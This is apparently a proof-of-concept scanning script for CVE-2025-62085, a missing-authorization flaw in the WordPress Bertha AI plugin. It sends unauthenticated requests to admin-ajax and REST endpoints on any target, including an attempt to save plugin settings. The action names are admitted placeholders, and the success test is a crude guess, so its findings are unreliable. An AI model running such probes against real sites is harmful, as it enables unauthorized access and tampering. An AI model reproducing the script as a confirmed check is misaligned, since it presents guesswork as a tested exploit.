CVE-2025-62085 WordPress Bertha AI插件缺失授权漏洞

import requests import sys # CVE-2025-62085 PoC - Missing Authorization in Bertha AI Plugin # Target: WordPress site with Bertha AI plugin <= 1.13 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-62085 Missing Authorization vulnerability in Bertha AI plugin """ # Common Bertha AI AJAX endpoints that may be vulnerable vulnerable_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/bertha-ai/v1/', ] # Test unauthenticated access to protected functionality # Replace 'action' with actual vulnerable action names from the plugin test_payloads = [ {'action': 'bertha_ai_get_content', 'post_id': '1'}, {'action': 'bertha_ai_save_settings', 'data': 'test'}, {'action': 'bertha_ai_generate_content', 'prompt': 'test'}, ] results = [] for endpoint in vulnerable_endpoints: url = target_url.rstrip('/') + endpoint for payload in test_payloads: try: response = requests.post(url, data=payload, timeout=10) # If response indicates successful access without auth if response.status_code == 200 and 'error' not in response.text.lower(): results.append(f"[+] Potential vulnerable endpoint: {url} with {payload}") except requests.RequestException as e: print(f"[-] Error testing {url}: {e}") return results if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1] print(f"[*] Scanning {target} for CVE-2025-62085...") findings = check_vulnerability(target) if findings: print("\n[!] Potential vulnerabilities found:") for finding in findings: print(finding) else: print("[*] No obvious vulnerabilities detected or target may be patched.")